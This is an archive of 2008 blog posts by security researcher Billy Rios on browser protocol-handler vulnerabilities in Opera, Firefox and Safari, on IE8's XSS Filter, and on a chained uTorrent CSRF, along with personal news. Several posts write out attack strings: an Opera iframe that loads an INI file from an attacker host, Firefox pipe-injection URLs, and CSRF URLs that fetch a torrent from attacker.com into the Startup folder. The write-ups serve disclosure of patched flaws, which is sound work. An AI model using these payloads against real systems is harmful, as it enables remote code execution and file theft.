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Billy (BK) Rios (10 unread)

September 04, 2008
9:05
IE8b2 XSS Filter
» ‎ Billy (BK) Rios

I run a number of different browsers, for various reasons. I was once even called a “browserholic” by a colleague! I pulled down IE8b2 when it went live a week ago. I don’t want to talk about the myriad of security features or browsing features as I think they’ve been covered in detail by many different sources, but I do want to mention one security feature… XSS Filter

XSS Filter was created by David Ross… he’s one of the smartest guys I’ve ever met. In addition to being super smart, there is a certain boldness needed to take the lead in developing Internet Explorer’s built-in defense for the bane of the web. David asked a number of security pros around the world to take a look at XSS Filter and I’m honored to have been asked to help. You can see some of the names of those who participated in XSS-Filter’s creation here.

Thanks David and CONGRATS on the release!

Some technical details with regards to XSS-Filter can be found here.
August 22, 2008
12:41
Opera Stuff - Followup
» ‎ Billy (BK) Rios

It always takes me a few weeks to work the booze out of my system after Blackhat and Defcon… but on the show…

Opera 9.52 was released a few days ago… I hope you’ve upgraded! Working with the Opera Security Team was a pleasure. I think they have the most creative way of tracking each bug (by email address) and they were VERY responsive.

A while back, I reported an issue to the Opera Security Team about some Opera protocol handling abuse I came across. You can read the initial advisory here. Now, when the initial advisory went out, the Opera Security Team asked me to hold off on the details until they published a follow up advisory, which can be found here. Since the issue is patched and the second advisory is out, lets go over the details:

First of all… this is a cross application issue (I think Blended Threat is the sexy term being used these days). We’ll use a protocol handling “aware” application to launch these attacks against Opera. Opera just has to be installed someplace on the victim’s machine for this to work.

When a user installs Opera, the following protocol hanlder is registered:

Opera.Protocol ”C:Program FilesOperaOpera.exe” “%1″

Which means.. when I call Opera.Protocol://test, the following basically gets passed to the command line (this is a simplified explanation, but hey… I’m a simple guy).

c:Program FilesOperaOpera.exe “Opera.Protocol://test”

Knowing this and determining that no internal check is done to distinguish between protocol handling and command line access, we are free to inject arbitrary arguments, which will be passed to Opera. In the first example, we will inject the location of a local html file. When the html file is loaded a warning will be presented to the user, but the contents will be rendered regardless of the user decision. The protocol handling string we use looks like this:

<iframe src = ‘opera.protocol:www.test.com” “file://c:test.html ‘>

which ends up executing the following:

c:program filesoperaopera.exe “opera.protocol:www.test.com” “file://c:test.html”

If we can somehow place an html file to a known location this would be bad. For arguments sake, lets assume Nate Mcfeters didn’t figure out a way to drop arbitrary content to a known location a few days ago (did I say that outloud?) … what else can we do?

Taking a look at the command line arguments supported by Opera, we see a couple interesting items… one of which is the “/settings” argument. the ”/settings” argument allows for Opera.exe to be loaded with an arbitrary INI file. A quick examination of what’s contained in an Opera INI file shows that if we can control the contents of the INI file, then we can control: Cache directories, debugging mode, proxy settings, script execution, java behavior, whether items are automatically RUN after downloading… the list goes on and on…

<iframe src = ‘opera.protocol:www.test.com” /settings “//attacker-ip/ini-file.ini ‘>

which will result in something like this:

c;program filesoperaopera.exe “opera.protocol:www.test.com” /settings “//attacker-ip/ini-file.ini”

OUCH….Thankfully… the Opera Security Team has fixed this particular issue! Kudos to them!
July 21, 2008
11:54
A Look at MFSA 2008-35
» ‎ Billy (BK) Rios
As promised… a quick look at MFSA2008-35:

When FireFox is installed, it registers the following protocol handlers:
- Gopher://
- FirefoxURL://
Note, Firefox3 no longer registers the Gopher protocol handler, which is a great security decision.

Both of these protocol handlers point to Firefox.exe in the following manner:
- “C:Program FilesMozilla Firefoxfirefox.exe” -requestPending -osint -url “%1″
When Gopher:// or FirefoxURL:// are called, the arguments are passed to the “%1” portion in the string shown above. For example, gopher://test will result in the following:
- “C:Program FilesMozilla Firefoxfirefox.exe” -requestPending -osint -url “gopher://test“
Knowing that we have absolute control over the –url argument being passed to Firefox.exe, we can use the “|” character to pass multiple, arbitrary URLs to the –url argument. Firefox has protections against remote web pages from redirecting to file:// and chrome:// content, but in this instance we are passing the URLs via protocol handler. When arguments are passed via protocol handler, it’s essentially as if we are passing the –url argument to firefox.exe via the command line. So, thanks to the protocol handlers the file:// and chrome:// restrictions can be bypassed. This is done in the following manner:
- gopher:test|file:c:/path/filename
- gopher:test|chrome://browser/content/browser.xul
Note – It is also possible to pass “javascript://” URIs to Firefox.exe, but javascript URIs passed via the command line will be loaded in the context of about:blank. This is a great security decision on behalf of Mozilla and saved them from having a standalone sploit.

Now that we have the ability to load local content via the protocol handlers registered by Firefox, we must now find a way to plant the attacker controlled content to a known location. There are a couple ways to plant attacker controlled content to a known location, but I’ll keep it simple (and responsible) and use the recently patched Safari “Carpet Bomb” attack as an example. When Safari encountered an unknown content type, it would download the content of the file to the user’s desktop. This gives us a semi known location, as we’ll have to guess the username. We can send a LOT of guesses for username as demonstrated below.
- <html><body><iframe src=”gopher:file:c:/path/filename|file:c:/path/ filename2|file:c:/path/ filename3….>
There are other methods that don’t involve guessing the username, but I won’t go into that (remember, it’s the kinder, gentler BK!).

So, if a user is browsing the web with Safari and has Firefox installed, I could plant a HTML file with javascript (XMLHTTP) onto the user’s desktop. Once the content is planted, I can launch the gopher:// protocol handler (gopher is launched by Safari without user consent) and point Firefox.exe to the local content. When Firefox loads the local content, the XMLHTTP request has access to the entire user file system (as the script was loaded from the local file system).

Firefox3 has implemented security measures to prevent arbitrary file access and limits the XMLHTTP request to the currently loaded directory (and possibly subdirs?), which is a great security decision.

On a side note, IE warns users when active script is about to be run from the local file system. I believe the IE warning message states, “you are about to do something REALLY stupid… do you wish to continue?” … or something like that. This is a great security decision on behalf of IE.

The scenario presented above demonstrates how someone with Safari and FireFox installed could get their files stolen, but Mozilla understood that the behavior of their software could be abused by other software (not just Safari), just as Apple understood that dropping files to a user’s desktop (without consent) could be abused by other software as well (not just IE or Firefox). Both vendors did what was right and adjusted the behavior of their software. Thanks Mozilla and Apple!

These types of issues interest me because it represents the difficulties in securing real life systems, systems that have software from multiple vendors interacting with each other, depending on each other to make the right security decisions. In isolation, these issues may not be of any concern, but together they create a situation where the security measures of one piece of software is bypassed because of the seemingly innocuous/insecure/stupid behavior of another, seemingly unrelated piece of software. From what I understand, Mark Dowd and Alexander Sotirov plan to give some INSANE examples of this at Blackhat… I’m looking forward to the talk!
July 17, 2008
11:26
FireFox Vulns - MFSA 2008-35
» ‎ Billy (BK) Rios

Mozilla issued a patch related to an issue I recently reported to them. The MFSA with details on the issue can be found here. It’s an interesting issue that demonstrates some of the complexities related to interaction between software from different vendors. This particular issue makes use of one of my favorite attack vectors, protocol handlers. The protocol handlers involved in this situation create an opportunity to pass “a command-line URI with the pipe symbols” from a remote webpage to FireFox.exe. For those that are interested, I’ll provide a small writeup on the issue this weekend. For those waiting, I’ll also provide a writeup on the Opera protocol handling issue leading to RCE when the Opera team is ready.

It’s a crazy coincidence that the FireFox and Opera vulnerabilities come almost one year to the date after Nate McFeters and I reported the original firefoxurl and mailto protocol handling vulnerabilities… and I use the term “reported” loosely :). Nate and I have changed over the past year… we’re both older and fatter, but it seems that protocol handlers continue to be as vulnerable as ever.

In closing, I want to thank the Mozilla Security Team (Dan Veditz in particular) and the Apple Security Team for working with me on this issue. It would have been easy for them to point fingers at the other organization, but both teams took responsibility for their portion and comitted to changes. Thanks guys! I’ll buy the beers in Vegas!
July 12, 2008
3:42
Opera Stuff
» ‎ Billy (BK) Rios

I recently came across an issue in Opera that could allow for some bad stuff. Although the issue has been addressed, I’ve been asked by the Opera security team to hold off on details until they can fully investigate other possibly related issues. I’ll respect that request. I do however, want to take a moment to thank the Opera team for their timely response! Change control, resource allocation, and devoting the appropriate amount of testing to patches for sophisticated applications is a tricky business. The Opera team responded quickly with a patch and kept in great contact with me throughout the process.

It’s a crazy world out there and the web browser is the window to the wild wild west. I wish Opera security team the best of luck!
3:28
Married in Maui!
» ‎ Billy (BK) Rios

I’ve been Maui for the last two weeks and it was AWESOME. My girl and I had our wedding ceremony on a beach in Kihei and our reception “upcountry” in Kula. It was great being back on the islands, catching up with friends and family.

For some reason, I feel energized… Maybe it was the Hawaii sun or may all those late night hacking sessions were finally catching up… or maybe I’m just getting old :p … but I feel good now!

I was pretty much offline for the entire time, so if you’ve sent me an email within the past week I’ll eventually catch up on my email and respond, otherwise I’ll SEE YOU IN VEGAS!!!
June 22, 2008
6:33
Clarification for “BK on Safari, hunting Firefox…”
» ‎ Billy (BK) Rios

Is Safari 3.12 affected by the vulnerability you mention in, BK on Safari, hunting Firefox? The “carpet bomb” behavior COULD have been used in conjunction with Firefox to steal user files. This specific scenario has been patched. Can an attacker use other, non-obvious ways to abuse the Safari (3.12)/Firefox interaction to steal files from the local file system? Yes, I know of three separate methods to accomplish this (Firefox 3 lessens the risk). Vendors have been informed and no details will be provided to the public. Don’t ask for additional details, I won’t give them until all this is straightened out.

Whose fault is this? That’s the whole point of the post. We have interaction between different software from different vendors. In isolation, the behaviors that are being abused here are not a high risk. It’s only when you combine the behaviors does it constitute a risk. Who should we blame? I don’t know, I don’t think anyone really knows… lots of people have their opinions though.
June 20, 2008
10:39
BK on Safari, hunting Firefox…
» ‎ Billy (BK) Rios
Apple released a patch for their “Carpet Bomb” issue today. I’m glad to see that Apple took steps to protect their users. Kudos to the Apple Security team!

There was a lot of discussion about how this behavior could be used in a “blended” attack with IE, but Safari’s behavior affected more than just IE. In fact, I’ve discovered a way to use the Safari’s carpet bomb in conjunction with Firefox to steal user files from the local file system. Even though Apple has patched the carpet bomb, I’m not going to go into details as the issue is not patched and the behavior may be replicated via other means (it’s the kinder, gentler BK). I’m also happy to say that some of the improved security features in Firefox 3 help lower (but do not eliminate) the impact of the issue (Firefox 2 users could still be at risk of arbitrary file pwnage). Mozilla is working on the issue and they’ve got a responsive team, so I’m sure we’ll see a fix soon.
- UNREALTED NOTE TO MOZILLA: Firefox 3 shouldn’t FORCE itself to be my default browser after I install it (YES, I unchecked the default browser checkbox during install)
Now, these types of vulnerabilities are a perfect example of how the all the software and systems we use are part of a giant ecosystem. Whether we like it or not, the various parts of the ecosystem are intertwined with each other, depending on each other. When one piece of the ecosystem gets out of line, it can have a dramatic effect on the ecosystem as a whole. A small vulnerability or even an “annoying” behavior from one piece of software could alter the behavior of 2nd piece of software, which a 3rd piece of software is depending on for a security decision (The recent pwn2own browser -> java -> flash pwnage is a great example of this). As the ecosystem grows via plugins, functionality, and new software, so does the attack surface. Eventually, the interactions between systems and software become a gigantic mesh and the attack surface becomes almost infinite.

Now, a lot of people have criticized Apple for their inability to see the carpet bombing behavior as a security issue. If Apple looked at their product (Safari) in isolation, maybe it wasn’t a high risk security issue to them and it was really more of an annoyance… its only when you look at the ecosystem as a whole do we start to see the security implications of this behavior. Should we have expected Apple to threat model the risks of this behavior against their own products AND other third party products as well? Can we reasonably expect them (or anyone) to have the requisite knowledge to truly understand how certain behavior will affect the ecosystem?

This brings us to a pressing question. In the “real world”, users install products from multiple vendors. Whose responsibility is it to examine the interaction between all these products?
June 15, 2008
7:04
3rd Annual Symposium on Information Assurance
» ‎ Billy (BK) Rios

I was recently given the honor of delivering a keynote talk for the 3^rd Annual Symposium on Information Assurance, which was held in conjunction with 11^th Annual New York State Cyber Security Conference. It was a great conference and I want to thank Sanjay Goel for inviting me!

The conference was VERY academic… which I love. Academics present with an eye to the future so I listened as PHD candidates talked about securing nano networks, sensor based wifi networks and a slew of other topics… Academics also seem to have an boldness and fearless approach to the topics they present, which I admire…

While I enjoyed most of the talks I attended, there was one that perked the ears of the blackhat in me. John Crain of ICANN gave a talk on “Securing the Internet Infrastructure: Myths and Truths”. If you don’t know, ICANN basically owns the root DNS servers that the world relies on everyday. He gave a great explanation of how ICANN goes about creating a heterogeneous ecosystem of DNS servers. These DNS servers use multiple versions and types of DNS software, multiple versions and types of operating systems, and even go so far as to use various pieces of hardware and processors. The reasoning behind this logic is… if a vulnerability is discovered in a particular piece of software (or hardware) is discovered, it would only affect a small part of the entire root DNS ecosystem, whose load could be transferred to another. It’s an interesting approach indeed. After the talk, someone asked me why enterprises/corporations don’t adopt a similar strategy. I thought about it some and I don’t think this approach could enterprise environment… here’s why (other than the obvious costs and ungodly administration requirements):

ICANNs interest is primarily based on preventing hackers from modifying a 45k text file (yes the root for the Internet is a ~45k text file). Now, if a hacker happens to break into a root DNS server and modifies the file, ICANN can disable the hacked system, restore the file and go about their business. As long as ICANN has a “good” system up somewhere, they can push all their traffic to that system. Businesses on the other hand, aren’t not primarily interested in preventing the modification of data (not yet at least), they are more interested in preventing the pilfering of data. So if you own a network of a million different configurations, a vulnerability in any one of those configurations could allow an attacker to steal your data. Once the hacker has stolen your data, what does it matter that the 999,999 other systems are unhacked?

This brings up the heart of the argument, should we be worried about our systems being compromised or should we be worried about our data being stolen? These are actually two different problems as I don’t necessarily have to compromise your system to steal your data…
April 21, 2008
11:02
CSRF pwns your box?!?!
» ‎ Billy (BK) Rios
Before going talking about an interesting set of CSRF vulnerabilities that were released this weekend, I did want to take a few moments to do some “housekeeping” on the recent spreadsheets.google.com XSS. (1) I gave the Google Security Team the details for this particular issue well before talking about it on my blog. (2) The described issue was fixed by the GST before I even considered publically speaking about the vuln. (3) Part of the vulnerability involved a caching flaw in Google’s servers, this issue is specific to Google and it was also fixed…   OK, on to the good stuff…


A few weeks ago, Rob Carter told me about a few interesting CSRF vulnerabilities that he discovered in a uTorrent plugin (he publicly disclosed them this weekend). Rob was able to chain together the CSRF vulnerabilities and the net result is complete compromise of the victim’s machine! I think this may be the first PURE CSRF vulnerability that I’ve seen that resulted in compromise of a victims machine (there is an argument amongst some of my colleagues as to whether protocol handling/URI vulnerabilities are actually a form of CSRF, but that’s another story). The series of vulnerabilities basically follow this flow:

When a user installs the uTorrent Web UI plugin. the plugin essentially starts a locally running web server on your machine (in order to serve the Web UI). Rob targets the CSRF vulnerabilities associated with this locally running web server.
- Rob uses a first CSRF to turn on the “Move completed downloads” option on the uTorrent Web UI. The CSRF looks something like this:
  http://localhost:14774/gui/?action=setsetting&s=dir_completed_download_flag&v=1
- Once Rob has “turned on” the “Move completed downloads” functionality, he uses a second CSRF to change the path of where the completed torrent download is placed. In the example he gives, he forces the uTorrent plugin to move completed torrent downloads to the Windows startup folder. This CSRF looks something like this:
  http://localhost:14774/gui/?action=setsetting&s=dir_completed_download&v=C:\Documents%20and%20Settings\All%20Users\Start%20Menu\Programs\Startup
- The last step in Rob’s example forces the victim to download a torrent which points to an attacker controlled bat file. Once the file is downloaded, uTorrent places the files into the victim’s startup folder (thanks to the first two CSRFs). This CSRF looks something like this:
  http://localhost:14774/gui/?action=add-url&s=http://www.attacker.com/file.torrent
Once the file is placed, the next time the user restarts their machine, the attacker controlled file will be run… there you have it… compromise of a victim’s system through three CSRFs! Scary stuff… you can read more about the issue on Robs Blog <robs blog>.

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Billy (BK) Rios (10 unread)